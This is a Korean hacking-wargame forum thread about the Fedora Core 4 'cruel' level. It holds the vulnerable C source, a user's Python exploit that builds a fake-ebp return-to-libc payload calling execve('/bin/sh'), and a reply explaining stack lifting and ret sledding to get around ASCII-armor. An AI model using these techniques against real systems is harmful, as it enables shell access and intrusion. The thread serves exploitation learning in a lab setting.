레벨 해킹

 2839, 1/142 회원가입  로그인  
   vngkv123
   fedora core4 cruel 질문

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=3361 [복사]


sfp를 체크하지 않는걸 이용해서 풀려고 했는데 궁금한게 있어서 2가지만 질문 드려볼게용 .....

1. fedora core4부터 특정함수들이 esp를 기준으로 참조한다는데 해당함수들을 관찰해보니 일반적으로 gdb로 보면 esp를 기준으로 잡아오는것 같은데 set disassembly-flavor intel로 설정하고 봣을시엔 여전히 ebp를 기준으로 인자들을 참조했습니다.
그래서 공격을 buf | dummy | sfp | ret | canary | temp stdin | 점을 이용하여
fake ebp를 이용하여  temp stdin에 ebp를 두고 execve(그리고 system) + Dummy[4Byte] + &"/bin/sh"로 넣었는데 전혀 실행이 안되네요 ㅠㅠ 라이트업에는 &"/bin/sh"이후에 다른 값들을 주던데 왜 그런지 이해를 못하겠네요 ㅠ

2. 댓글쪽에 소스를 참고할건데 이 부분을 어떻게 체크하는건지 잘 모르겠네용..
// preventing RTL
        ret = &canary - 1;
        if((*ret & 0xff000000) == 0)
        {
                printf("I've an allergy to NULL");
                exit(1);
        }


  Hit : 4140     Date : 2017/03/29 06:44



    
vngkv123 #include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int vuln(int canary,char *ptr)
{
char buffer[256];
int *ret;

// stack overflow!!
strcpy(buffer,ptr);

// overflow protected
if(canary != 0x31337)
{
printf("who broke my canary?!");
exit(1);
}

// preventing RTL
ret = &canary - 1;
if((*ret & 0xff000000) == 0)
{
printf("I've an allergy to NULL");
exit(1);
}

// clearing attack buffer
memset(ptr, 0, 1024);

return 0;
}

int main()
{
char buffer[1024];

printf("enigma : The brothers will be glad to have you!\n");
printf("you : ");
fflush(stdout);

// give me a food!
fgets(buffer, 1024, stdin);

// oops~!
vuln(0x31337, buffer);

// bye bye
exit(0);
}
2017/03/29  
vngkv123 파이썬 익스코드는 이렇습니다
import struct
import os
import socket
import time

p = lambda x : struct.pack("<L",x)

leaveret = 0x0804858e
canary = 0x31337
execve = 0x832abc
stdin = 0xb7f89000
system = 0x7db0e7
binsh = 0x8bd987


payload = "A"*260
payload += p(stdin + 0x110) + p(leaveret) + p(canary)
payload += p(stdin + 0x114)
payload += p(execve) + "A"*4 + p(binsh) + p(stdin + 0x11c) + p(0x0)
2017/03/29  
해쿨러 아하 오래전이라 잘 기억은 안나지만 아마 fc4에는 Solar Designer가 제안한 아스키아머가 아직 사용되던 시기였을 겁니다
그래서 라이브러리 주소에 RTL 인자전달을 막기위한 null바이트가 최상위바이트에 항상 존재하죠

그리고 재밌는건 입력을 vuln에서 받는게 아니라 main에서 받아서 넘기기 때문에
vuln함수의 리턴어드레스 이후로 카나리와 버퍼주소가 있고 바로 버퍼의 컨텐트가 이어집니다
결국 페1이로드를 ret너머 1024바이트만큼 더 쓸수도있단 소리죠
add esp 가젯을 이용해 stack lifting을 하셔서 buffer의 첫시작즈음부터 RET Sledding을 하셔서 vuln의 버퍼를 오버플로우 시킬수 있을만큼 ret sledding을 하신다음에 vuln의 리턴자리에는 stack lifting + ret 을 넣으시고 그다음에 카나리를 기준으로 vuln은 strcpy를 무조건 종료해야 하니 그 이후에 NULL바이트를 포함한 RTL 페1이로드를 넣으시면 됩니다
2017/03/30  
해쿨러 그러니까 입력은 하나지만 공격의 phase를 두단계로 나눠서 생각하시면 됩니다 2017/03/30